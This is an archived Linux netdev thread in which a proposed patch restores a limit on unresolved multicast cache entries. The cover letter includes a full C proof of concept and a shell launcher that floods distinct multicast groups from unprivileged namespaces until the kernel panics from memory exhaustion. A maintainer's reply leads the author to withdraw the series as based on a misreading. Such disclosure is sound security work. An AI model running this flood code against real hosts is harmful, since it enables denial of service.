netdev.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* [PATCH net 0/1] ipmr: restore a limit for unresolved cache entries
@ 2026-08-28  6:52 Zihan Xi
  2026-08-28  6:52 ` [PATCH net 1/1] " Zihan Xi
  0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-08-28  6:52 UTC (permalink / raw)
  To: netdev
  Cc: linux-kernel, David Ahern, Ido Schimmel, David S. Miller,
	Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman,
	Hangbin Liu, Nikolay Aleksandrov, Zihan Xi

Hi Linux kernel maintainers,

We found and validated a issue in net/ipv6/ip6mr.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ip6mr_cache_unresolved() creates one unresolved multicast cache entry for each
distinct source and group pair.  Each entry can retain up to four received
skbs while userspace resolves the route.  The cache_resolve_queue_len counter
was kept for reporting, but the entry-creation limit was removed by commit
0079ad8e8dc3 ("ipmr: remove hard code cache_resolve_queue_len limit").
Consequently, a userspace daemon that drains the routing upcalls can still
allow an unbounded number of entries and retained packet bodies.  A multicast
flood with distinct pairs can therefore exhaust kernel memory.  The same
missing bound exists in the IPv4 implementation.

This patch restores a shared ten-entry bound for both IPv4 and IPv6 unresolved
multicast caches.  Once the bound is reached, new source/group pairs are
rejected with -ENOBUFS; existing entries remain available for normal route
resolution and expiration.

The root-cause fix is tied to 0079ad8e8dc3, the commit that first removed the
entry bound.  Later changes only altered accounting and locking and did not
introduce the unbounded state.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

For the scalable namespace fan-out used for the OOM demonstration, run:

    chmod +x poc.sh
    BIN=$HOME/poc WORKERS=8 GROUPS=1000 REPEAT=4 PAYLOAD=60000 POST_WAIT=30 STATUS_EVERY=250 $HOME/poc.sh

packetdrill was not used because this trigger requires user and network
namespace creation, veth setup, MRT6_INIT/MRT6_ADD_MIF control-plane
configuration, and draining raw multicast-routing upcalls, which
packetdrill cannot express or coordinate.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute6.h>
#include <net/if.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <unistd.h>

struct config {
	const char *ifname;
	const char *sender_ifname;
	const char *bind_addr_str;
	unsigned int count;
	unsigned int repeat;
	unsigned int payload_len;
	unsigned int post_wait_sec;
	unsigned int status_every;
	unsigned int start_group;
	int upcall_rcvbuf;
	int send_sndbuf;
};

struct stats {
	volatile sig_atomic_t stop;
	volatile unsigned long upcalls;
};

struct thread_args {
	int fd;
	struct stats *stats;
};

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [options]\n"
		"  --ifname IFACE        ingress vif interface (default: lo)\n"
		"  --sender-ifname IFACE sender output interface (default: --ifname)\n"
		"  --bind-addr ADDR      sender source address (default: ::1)\n"
		"  --count N             distinct multicast groups (default: 12000)\n"
		"  --repeat N            packets per group, max 4 useful (default: 4)\n"
		"  --payload N           UDP payload bytes per packet (default: 60000)\n"
		"  --post-wait SEC       sleep after sending (default: 20)\n"
		"  --status-every N      print progress every N groups (default: 1000)\n"
		"  --start-group N       low 32-bit group suffix base (default: 1)\n"
		"  --upcall-rcvbuf N     SO_RCVBUF for the mroute socket (default: 16777216)\n"
		"  --send-sndbuf N       SO_SNDBUF for the sender socket (default: 4194304)\n",
		prog);
}

static unsigned long now_ms(void)
{
	struct timespec ts;

	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (unsigned long)ts.tv_sec * 1000UL + ts.tv_nsec / 1000000UL;
}

static void on_signal(int signo)
{
	(void)signo;
}

static void *drain_thread(void *arg)
{
	struct thread_args *ta = arg;
	struct stats *stats = ta->stats;
	char buf[2048];

	while (!stats->stop) {
		ssize_t n = recv(ta->fd, buf, sizeof(buf), 0);

		if (n > 0) {
			__atomic_add_fetch(&stats->upcalls, 1, __ATOMIC_RELAXED);
			continue;
		}
		if (n == 0)
			break;
		if (errno == EINTR)
			continue;
		if (errno == EAGAIN || errno == EWOULDBLOCK) {
			usleep(1000);
			continue;
		}
		perror("recv(mroute upcall)");
		break;
	}

	return NULL;
}

static int create_mroute_socket(const struct config *cfg, struct stats *stats)
{
	int fd;
	int one = 1;
	pthread_t tid;
	struct mif6ctl vif = {0};
	int ifindex;
	struct thread_args *ta;

	fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
	if (fd < 0) {
		perror("socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)");
		return -1;
	}

	if (cfg->upcall_rcvbuf > 0 &&
	    setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &cfg->upcall_rcvbuf,
		       sizeof(cfg->upcall_rcvbuf)) < 0) {
		perror("setsockopt(SO_RCVBUF)");
		close(fd);
		return -1;
	}

	if (setsockopt(fd, IPPROTO_IPV6, MRT6_INIT, &one, sizeof(one)) < 0) {
		perror("setsockopt(MRT6_INIT)");
		close(fd);
		return -1;
	}

	ifindex = if_nametoindex(cfg->ifname);
	if (ifindex == 0) {
		perror("if_nametoindex");
		close(fd);
		return -1;
	}

	vif.mif6c_mifi = 0;
	vif.mif6c_flags = 0;
	vif.vifc_threshold = 1;
	vif.mif6c_pifi = ifindex;
	vif.vifc_rate_limit = 0;

	if (setsockopt(fd, IPPROTO_IPV6, MRT6_ADD_MIF, &vif, sizeof(vif)) < 0) {
		perror("setsockopt(MRT6_ADD_MIF)");
		close(fd);
		return -1;
	}

	ta = calloc(1, sizeof(*ta));
	if (!ta) {
		perror("calloc");
		close(fd);
		return -1;
	}

	ta->fd = fd;
	ta->stats = stats;

	if (pthread_create(&tid, NULL, drain_thread, ta) != 0) {
		perror("pthread_create");
		free(ta);
		close(fd);
		return -1;
	}

	pthread_detach(tid);
	return fd;
}

static int create_sender_socket(const struct config *cfg, const struct in6_addr *src)
{
	int fd;
	unsigned int ifindex;
	int hops = 1;
	int loop = 1;
	struct sockaddr_in6 bind_addr = {
		.sin6_family = AF_INET6,
		.sin6_addr = *src,
	};

	fd = socket(AF_INET6, SOCK_DGRAM, 0);
	if (fd < 0) {
		perror("socket(AF_INET6, SOCK_DGRAM)");
		return -1;
	}

	if (cfg->send_sndbuf > 0 &&
	    setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &cfg->send_sndbuf,
		       sizeof(cfg->send_sndbuf)) < 0) {
		perror("setsockopt(SO_SNDBUF)");
		close(fd);
		return -1;
	}

	ifindex = if_nametoindex(cfg->sender_ifname);
	if (ifindex == 0) {
		perror("if_nametoindex");
		close(fd);
		return -1;
	}

	if (setsockopt(fd, IPPROTO_IPV6, IPV6_MULTICAST_IF, &ifindex,
		       sizeof(ifindex)) < 0) {
		perror("setsockopt(IPV6_MULTICAST_IF)");
		close(fd);
		return -1;
	}

	if (setsockopt(fd, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, &hops,
		       sizeof(hops)) < 0) {
		perror("setsockopt(IPV6_MULTICAST_HOPS)");
		close(fd);
		return -1;
	}

	if (setsockopt(fd, IPPROTO_IPV6, IPV6_MULTICAST_LOOP, &loop,
		       sizeof(loop)) < 0) {
		perror("setsockopt(IPV6_MULTICAST_LOOP)");
		close(fd);
		return -1;
	}

	if (bind(fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0) {
		perror("bind(sender)");
		close(fd);
		return -1;
	}

	return fd;
}

static void make_group_addr(struct in6_addr *addr, unsigned int suffix)
{
	memset(addr, 0, sizeof(*addr));
	addr->s6_addr[0] = 0xff;
	addr->s6_addr[1] = 0x0e;
	((uint32_t *)addr->s6_addr)[3] = htonl(suffix);
}

int main(int argc, char **argv)
{
	struct config cfg = {
		.ifname = "lo",
		.sender_ifname = "lo",
		.bind_addr_str = "::1",
		.count = 12000,
		.repeat = 4,
		.payload_len = 60000,
		.post_wait_sec = 20,
		.status_every = 1000,
		.start_group = 1,
		.upcall_rcvbuf = 16 * 1024 * 1024,
		.send_sndbuf = 4 * 1024 * 1024,
	};
	struct stats stats = {0};
	struct sigaction sa = {
		.sa_handler = on_signal,
	};
	struct in6_addr src;
	int mroute_fd = -1;
	int send_fd = -1;
	char *payload = NULL;
	unsigned long start_ms;
	unsigned long sent_pkts = 0;
	unsigned int i, r;

	for (i = 1; i < (unsigned int)argc; i++) {
		if (!strcmp(argv[i], "--ifname") && i + 1 < (unsigned int)argc) {
			cfg.ifname = argv[++i];
			cfg.sender_ifname = cfg.ifname;
		} else if (!strcmp(argv[i], "--sender-ifname") &&
			   i + 1 < (unsigned int)argc) {
			cfg.sender_ifname = argv[++i];
		} else if (!strcmp(argv[i], "--bind-addr") &&
			   i + 1 < (unsigned int)argc) {
			cfg.bind_addr_str = argv[++i];
		} else if (!strcmp(argv[i], "--count") && i + 1 < (unsigned int)argc) {
			cfg.count = strtoul(argv[++i], NULL, 0);
		} else if (!strcmp(argv[i], "--repeat") && i + 1 < (unsigned int)argc) {
			cfg.repeat = strtoul(argv[++i], NULL, 0);
		} else if (!strcmp(argv[i], "--payload") && i + 1 < (unsigned int)argc) {
			cfg.payload_len = strtoul(argv[++i], NULL, 0);
		} else if (!strcmp(argv[i], "--post-wait") && i + 1 < (unsigned int)argc) {
			cfg.post_wait_sec = strtoul(argv[++i], NULL, 0);
		} else if (!strcmp(argv[i], "--status-every") && i + 1 < (unsigned int)argc) {
			cfg.status_every = strtoul(argv[++i], NULL, 0);
		} else if (!strcmp(argv[i], "--start-group") && i + 1 < (unsigned int)argc) {
			cfg.start_group = strtoul(argv[++i], NULL, 0);
		} else if (!strcmp(argv[i], "--upcall-rcvbuf") && i + 1 < (unsigned int)argc) {
			cfg.upcall_rcvbuf = strtol(argv[++i], NULL, 0);
		} else if (!strcmp(argv[i], "--send-sndbuf") && i + 1 < (unsigned int)argc) {
			cfg.send_sndbuf = strtol(argv[++i], NULL, 0);
		} else if (!strcmp(argv[i], "--help")) {
			usage(argv[0]);
			return 0;
		} else {
			usage(argv[0]);
			return 1;
		}
	}

	if (cfg.repeat == 0)
		cfg.repeat = 1;

	if (cfg.payload_len == 0 || cfg.payload_len > 65507) {
		fprintf(stderr, "payload must be in 1..65507\n");
		return 1;
	}

	if (cfg.status_every == 0)
		cfg.status_every = cfg.count;

	memset(&src, 0, sizeof(src));
	if (inet_pton(AF_INET6, cfg.bind_addr_str, &src) != 1) {
		fprintf(stderr, "inet_pton(%s) failed\n", cfg.bind_addr_str);
		return 1;
	}

	sigemptyset(&sa.sa_mask);
	sa.sa_flags = 0;
	sigaction(SIGINT, &sa, NULL);
	sigaction(SIGTERM, &sa, NULL);

	payload = malloc(cfg.payload_len);
	if (!payload) {
		perror("malloc(payload)");
		return 1;
	}
	memset(payload, 'A', cfg.payload_len);

	mroute_fd = create_mroute_socket(&cfg, &stats);
	if (mroute_fd < 0)
		goto out;

	send_fd = create_sender_socket(&cfg, &src);
	if (send_fd < 0)
		goto out;

	fprintf(stderr,
		"[+] vif_if=%s sender_if=%s bind=%s groups=%u repeat=%u payload=%u post_wait=%u upcall_rcvbuf=%d sndbuf=%d\n",
		cfg.ifname, cfg.sender_ifname, cfg.bind_addr_str,
		cfg.count, cfg.repeat, cfg.payload_len,
		cfg.post_wait_sec, cfg.upcall_rcvbuf, cfg.send_sndbuf);

	start_ms = now_ms();
	for (i = 0; i < cfg.count; i++) {
		struct in6_addr group;
		struct sockaddr_in6 dst = {
			.sin6_family = AF_INET6,
			.sin6_port = htons(31337),
		};

		make_group_addr(&group, cfg.start_group + i);
		dst.sin6_addr = group;

		for (r = 0; r < cfg.repeat; r++) {
			ssize_t n = sendto(send_fd, payload, cfg.payload_len, 0,
					   (struct sockaddr *)&dst, sizeof(dst));

			if (n < 0) {
				fprintf(stderr,
					"sendto failed at group=%u repeat=%u: %s\n",
					cfg.start_group + i, r, strerror(errno));
				goto out;
			}
			sent_pkts++;
		}

		if ((i + 1) % cfg.status_every == 0) {
			unsigned long elapsed = now_ms() - start_ms;
			unsigned long upcalls =
				__atomic_load_n(&stats.upcalls, __ATOMIC_RELAXED);

			fprintf(stderr,
				"[+] groups=%u packets=%lu upcalls=%lu elapsed_ms=%lu\n",
				i + 1, sent_pkts, upcalls, elapsed);
		}
	}

	fprintf(stderr,
		"[+] completed send: groups=%u packets=%lu, waiting %u seconds for expiry effects\n",
		cfg.count, sent_pkts, cfg.post_wait_sec);

	for (i = 0; i < cfg.post_wait_sec; i++) {
		unsigned long upcalls =
			__atomic_load_n(&stats.upcalls, __ATOMIC_RELAXED);

		fprintf(stderr, "[+] wait=%u/%u upcalls=%lu\n",
			i + 1, cfg.post_wait_sec, upcalls);
		sleep(1);
	}

	fprintf(stderr, "[+] done\n");

out:
	stats.stop = 1;
	if (send_fd >= 0)
		close(send_fd);
	if (mroute_fd >= 0)
		close(mroute_fd);
	free(payload);
	return 0;
}
------END poc.c--------

------BEGIN poc.sh------
#!/bin/sh
set -eu

WORKERS="${WORKERS:-8}"
GROUPS="${GROUPS:-1000}"
REPEAT="${REPEAT:-4}"
PAYLOAD="${PAYLOAD:-60000}"
POST_WAIT="${POST_WAIT:-30}"
STATUS_EVERY="${STATUS_EVERY:-250}"
BIN="${BIN:-$(dirname "$0")/poc}"

echo "date: $(date -u '+%Y-%m-%dT%H:%M:%SZ')"
echo "workers=$WORKERS groups=$GROUPS repeat=$REPEAT payload=$PAYLOAD post_wait=$POST_WAIT status_every=$STATUS_EVERY"
grep MemAvailable /proc/meminfo || true

i=1
while [ "$i" -le "$WORKERS" ]; do
	log="/tmp/ip6mr-worker-$i.log"
	rm -f "$log"
	unshare -Urn sh -eu -c "
		ip link set lo up
		ip link add v0 type veth peer name v1
		ip link set v0 mtu 65535
		ip link set v1 mtu 65535
		ip link set v0 up
		ip link set v1 up
		ip -6 addr add fd00:1::1/64 dev v0 nodad
		ip -6 addr add fd00:1::2/64 dev v1 nodad
		ip -6 route replace ff0e::/16 dev v0
		exec \"$BIN\" \
			--ifname v1 \
			--sender-ifname v0 \
			--bind-addr fd00:1::1 \
			--count \"$GROUPS\" \
			--repeat \"$REPEAT\" \
			--payload \"$PAYLOAD\" \
			--post-wait \"$POST_WAIT\" \
			--status-every \"$STATUS_EVERY\"
	" >"$log" 2>&1 &
	i=$((i + 1))
done

echo "spawned $WORKERS workers"
sleep 3
grep MemAvailable /proc/meminfo || true

i=1
while [ "$i" -le "$WORKERS" ]; do
	log="/tmp/ip6mr-worker-$i.log"
	echo "== worker $i =="
	sed -n '1,12p' "$log" || true
	i=$((i + 1))
done

wait
------END poc.sh--------

The unpatched baseline was built with a matching vmlinux, and
scripts/decode_stacktrace.sh was used to decode the panic.  Host-specific boot
and audit lines are omitted from this excerpt.

----BEGIN crash log----
[    0.000000] Linux version 7.2.0-07323-gf967455fb2a5 (gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #3 SMP PREEMPT_DYNAMIC Fri Aug 28 04:02:55 CST 2026
[    0.000000] Command line: console=ttyS0 earlyprintk=serial panic_on_warn=1 vm.panic_on_oom=2 panic=0 oops=panic
[   10.202095] mfc6_cache              2935KB       2937KB
[   10.534887] skbuff_small_head      27400KB      27408KB
[   11.571405] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[   11.580743] CPU: 0 UID: 1001 PID: 281 Comm: poc Not tainted 7.2.0-07323-gf967455fb2a5 #3 PREEMPT(lazy) 
[   11.591081] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   11.603815] Call Trace:
[   11.606822]  <TASK>
[   11.609192]  vpanic (kernel/panic.c:651)
[   11.613068]  panic (kernel/panic.c:788)
[   11.616702]  out_of_memory (mm/oom_kill.c:1076 (discriminator 4) mm/oom_kill.c:1143 (discriminator 4))
[   11.620969]  __alloc_frozen_pages_noprof (mm/page_alloc.c:4116 mm/page_alloc.c:4967 mm/page_alloc.c:5317)
[   11.626505]  alloc_pages_mpol (mm/mempolicy.c:2490)
[   11.630274]  alloc_pages_noprof (mm/mempolicy.c:2561 (discriminator 1) mm/mempolicy.c:2581 (discriminator 1))
[   11.635422]  skb_page_frag_refill (net/core/sock.c:3202 (discriminator 2))
[   11.639885]  sk_page_frag_refill (net/core/sock.c:3213)
[   11.644137]  __ip6_append_data (net/ipv6/ip6_output.c:1805)
[   11.648942]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   11.654201]  ip6_make_skb (net/ipv6/ip6_output.c:2092)
[   11.658079]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   11.664092]  ? udpv6_sendmsg (net/ipv6/udp.c:1707)
[   11.668952]  udpv6_sendmsg (net/ipv6/udp.c:1707)
[   11.673286]  ? __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[   11.677008]  __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[   11.681310]  __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[   11.684892]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[   11.688175]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   11.694499] RIP: 0033:0x425a84
[   11.697800] Code: Unable to access opcode bytes at 0x425a5a.

Code starting with the faulting instruction
===========================================
[   11.703181] RSP: 002b:00007ffee51635a0 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[   11.711403] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000425a84
[   11.719898] RDX: 000000000000ea60 RSI: 000000001cf87950 RDI: 0000000000000004
[   11.728079] RBP: 00007ffee51635e0 R08: 00007ffee5163690 R09: 000000000000001c
[   11.737370] R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000000e21
[   11.745913] R13: 0000000000000388 R14: 00007ffee5163690 R15: 0000000000000001
[   11.753149]  </TASK>
[   11.755862] Kernel Offset: 0x400000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[   11.766404] ---[ end Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled ]---
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  ipmr: restore a limit for unresolved cache entries

 include/linux/mroute_base.h | 3 +++
 net/ipv4/ipmr.c             | 6 ++++++
 net/ipv6/ip6mr.c            | 5 +++++
 3 files changed, 14 insertions(+)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 4+ messages in thread

* [PATCH net 1/1] ipmr: restore a limit for unresolved cache entries
  2026-08-28  6:52 [PATCH net 0/1] ipmr: restore a limit for unresolved cache entries Zihan Xi
@ 2026-08-28  6:52 ` Zihan Xi
  2026-08-28  7:33   ` Eric Dumazet
  0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-08-28  6:52 UTC (permalink / raw)
  To: netdev
  Cc: linux-kernel, David Ahern, Ido Schimmel, David S. Miller,
	Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman,
	Hangbin Liu, Nikolay Aleksandrov, Zihan Xi, stable, Vega

Unresolved multicast cache entries retain up to four received skbs while
waiting for userspace to install an MFC route.  The cache entry count was
tracked but no longer bounded, so a stream of distinct source and group
pairs could retain packet memory until the system ran out of memory.

Restore the unresolved-entry limit for both IPv4 and IPv6 multicast
routing.  Reject new cache entries once the limit is reached while keeping
existing entries available for normal route resolution.

Fixes: 0079ad8e8dc3 ("ipmr: remove hard code cache_resolve_queue_len limit")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
 include/linux/mroute_base.h | 3 +++
 net/ipv4/ipmr.c             | 6 ++++++
 net/ipv6/ip6mr.c            | 5 +++++
 3 files changed, 14 insertions(+)

diff --git a/include/linux/mroute_base.h b/include/linux/mroute_base.h
index 4d55827e9705..af9247bb3f4d 100644
--- a/include/linux/mroute_base.h
+++ b/include/linux/mroute_base.h
@@ -224,6 +224,9 @@ struct mr_table_ops {
 	void *cmparg_any;
 };
 
+/* Bound unresolved MFC entries and their queued skbs. */
+#define MFC_UNRES_QUEUE_LEN_MAX	10
+
 /**
  * struct mr_table - a multicast routing table
  * @work: used for table destruction
diff --git a/net/ipv4/ipmr.c b/net/ipv4/ipmr.c
index e5f2b1c6150d..3155ad921ddc 100644
--- a/net/ipv4/ipmr.c
+++ b/net/ipv4/ipmr.c
@@ -1165,6 +1165,12 @@ static int ipmr_cache_unresolved(struct mr_table *mrt, vifi_t vifi,
 
 	if (!found) {
 		/* Create a new entry if allowable */
+		if (mrt->cache_resolve_queue_len >= MFC_UNRES_QUEUE_LEN_MAX) {
+			c = NULL;
+			err = -ENOBUFS;
+			goto err;
+		}
+
 		c = ipmr_cache_alloc_unres();
 		if (!c) {
 			err = -ENOBUFS;
diff --git a/net/ipv6/ip6mr.c b/net/ipv6/ip6mr.c
index 3f2ed9b77deb..551b04d4fa7c 100644
--- a/net/ipv6/ip6mr.c
+++ b/net/ipv6/ip6mr.c
@@ -1207,6 +1207,11 @@ static int ip6mr_cache_unresolved(struct mr_table *mrt, mifi_t mifi,
 		/*
 		 *	Create a new entry if allowable
 		 */
+		if (mrt->cache_resolve_queue_len >= MFC_UNRES_QUEUE_LEN_MAX) {
+			c = NULL;
+			err = -ENOBUFS;
+			goto err;
+		}
 
 		c = ip6mr_cache_alloc_unres();
 		if (!c) {
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH net 1/1] ipmr: restore a limit for unresolved cache entries
  2026-08-28  6:52 ` [PATCH net 1/1] " Zihan Xi
@ 2026-08-28  7:33   ` Eric Dumazet
  2026-08-28  7:52     ` zihan xi
  0 siblings, 1 reply; 4+ messages in thread
From: Eric Dumazet @ 2026-08-28  7:33 UTC (permalink / raw)
  To: Zihan Xi
  Cc: netdev, linux-kernel, David Ahern, Ido Schimmel, David S. Miller,
	Jakub Kicinski, Paolo Abeni, Simon Horman, Hangbin Liu,
	Nikolay Aleksandrov, stable, Vega

On Fri, Aug 28, 2026 at 8:52 AM Zihan Xi <zihanx@nebusec.ai> wrote:
>
> Unresolved multicast cache entries retain up to four received skbs while
> waiting for userspace to install an MFC route.  The cache entry count was
> tracked but no longer bounded, so a stream of distinct source and group
> pairs could retain packet memory until the system ran out of memory.
>
> Restore the unresolved-entry limit for both IPv4 and IPv6 multicast
> routing.  Reject new cache entries once the limit is reached while keeping
> existing entries available for normal route resolution.
>
> Fixes: 0079ad8e8dc3 ("ipmr: remove hard code cache_resolve_queue_len limit")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: Codex:gpt-5.4
> Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> ---
>  include/linux/mroute_base.h | 3 +++
>  net/ipv4/ipmr.c             | 6 ++++++
>  net/ipv6/ip6mr.c            | 5 +++++
>  3 files changed, 14 insertions(+)
>
> diff --git a/include/linux/mroute_base.h b/include/linux/mroute_base.h
> index 4d55827e9705..af9247bb3f4d 100644
> --- a/include/linux/mroute_base.h
> +++ b/include/linux/mroute_base.h
> @@ -224,6 +224,9 @@ struct mr_table_ops {
>         void *cmparg_any;
>  };
>
> +/* Bound unresolved MFC entries and their queued skbs. */
> +#define MFC_UNRES_QUEUE_LEN_MAX        10

Wasn't this very very very small limit a reported problem in the past?

Nothing will prevent an OOM to happen, even if you set the limit to 1

If panic_on_oom is set, it seems to me that this is working as intended.

If we want to silence the OOM, just change ipmr_cache_alloc_unres()
to add a __GFP_NOWARN?

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net 1/1] ipmr: restore a limit for unresolved cache entries
  2026-08-28  7:33   ` Eric Dumazet
@ 2026-08-28  7:52     ` zihan xi
  0 siblings, 0 replies; 4+ messages in thread
From: zihan xi @ 2026-08-28  7:52 UTC (permalink / raw)
  To: Eric Dumazet
  Cc: netdev, linux-kernel, David Ahern, Ido Schimmel, David S. Miller,
	Jakub Kicinski, Paolo Abeni, Simon Horman, Hangbin Liu,
	Nikolay Aleksandrov, stable, Vega

On Fri, Aug 28, 2026 at 3:33 PM Eric Dumazet <edumazet@google.com> wrote:
>
> On Fri, Aug 28, 2026 at 8:52 AM Zihan Xi <zihanx@nebusec.ai> wrote:
> >
> > Unresolved multicast cache entries retain up to four received skbs while
> > waiting for userspace to install an MFC route.  The cache entry count was
> > tracked but no longer bounded, so a stream of distinct source and group
> > pairs could retain packet memory until the system ran out of memory.
> >
> > Restore the unresolved-entry limit for both IPv4 and IPv6 multicast
> > routing.  Reject new cache entries once the limit is reached while keeping
> > existing entries available for normal route resolution.
> >
> > Fixes: 0079ad8e8dc3 ("ipmr: remove hard code cache_resolve_queue_len limit")
> > Cc: stable@vger.kernel.org
> > Reported-by: Vega <vega@nebusec.ai>
> > Assisted-by: Codex:gpt-5.4
> > Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> > ---
> >  include/linux/mroute_base.h | 3 +++
> >  net/ipv4/ipmr.c             | 6 ++++++
> >  net/ipv6/ip6mr.c            | 5 +++++
> >  3 files changed, 14 insertions(+)
> >
> > diff --git a/include/linux/mroute_base.h b/include/linux/mroute_base.h
> > index 4d55827e9705..af9247bb3f4d 100644
> > --- a/include/linux/mroute_base.h
> > +++ b/include/linux/mroute_base.h
> > @@ -224,6 +224,9 @@ struct mr_table_ops {
> >         void *cmparg_any;
> >  };
> >
> > +/* Bound unresolved MFC entries and their queued skbs. */
> > +#define MFC_UNRES_QUEUE_LEN_MAX        10
>
> Wasn't this very very very small limit a reported problem in the past?
>
> Nothing will prevent an OOM to happen, even if you set the limit to 1
>
> If panic_on_oom is set, it seems to me that this is working as intended.
>
> If we want to silence the OOM, just change ipmr_cache_alloc_unres()
> to add a __GFP_NOWARN?

Hi Eric,

You are right. I missed the rationale for 0079ad8e8dc3 and the
earlier report that the fixed limit caused problems on busy networks.

The reproducer was run with vm.panic_on_oom=2. It therefore only shows
the expected result of forcing a panic on generic memory exhaustion; it
does not justify reintroducing a per-table limit.

Please disregard this series. I will not post a v2.

Thanks,
Zihan

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-08-28  7:53 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-28  6:52 [PATCH net 0/1] ipmr: restore a limit for unresolved cache entries Zihan Xi
2026-08-28  6:52 ` [PATCH net 1/1] " Zihan Xi
2026-08-28  7:33   ` Eric Dumazet
2026-08-28  7:52     ` zihan xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).